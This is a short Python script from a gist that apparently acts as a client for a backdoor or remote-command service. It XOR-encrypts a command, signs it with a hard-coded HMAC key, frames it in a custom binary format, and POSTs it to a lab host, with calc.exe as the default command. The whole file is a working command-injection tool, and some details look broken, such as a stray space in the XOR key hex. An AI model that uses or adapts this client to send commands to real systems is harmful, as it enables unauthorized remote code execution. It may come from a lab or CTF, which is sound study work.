client_http.py

gistfile1.txt

#!/usr/bin/env python3
import socket
import hashlib
import hmac
import sys

HOST = '192.168.56.115'
PORT = 8000

HMAC_KEY = bytes.fromhex('a3915bd70e62c4883f1a7de650b92cf56e8347da15ac790bc15834ef962d4a71')
XOR_KEY  = bytes.fromhex('d2478a1ef36bc09554 29e73d81af660cb8721fe4439d5e28a60d73c93b84f152')

def build_ntf_payload(command: bytes) -> bytes:
    encrypted = bytes(c ^ XOR_KEY[i % 32] for i, c in enumerate(command))
    h = hmac.new(HMAC_KEY, digestmod=hashlib.sha256)
    h.update(b'\x01')
    h.update(encrypted)
    mac = h.digest()
    magic   = bytes.fromhex('7f4e5446')
    version = b'\x01'
    size    = len(encrypted).to_bytes(4, 'big')
    return magic + version + mac + size + encrypted

def send_http_post(ntf_payload: bytes):
    http_request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {len(ntf_payload)}\r\n"
        f"\r\n"
    ).encode() + ntf_payload

    print(f"Command:     {command}")
    print(f"NTF payload: {ntf_payload.hex()}")
    print(f"HTTP body:   POST / HTTP/1.1 ... ({len(http_request)} bytes total)")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST, PORT))
    sock.sendall(http_request)
    sock.close()
    print(f"✓ Sent to {HOST}:{PORT}")

if __name__ == "__main__":
    command = sys.argv[1].encode() if len(sys.argv) > 1 else b"calc.exe"
    ntf_payload = build_ntf_payload(command)
    send_http_post(ntf_payload)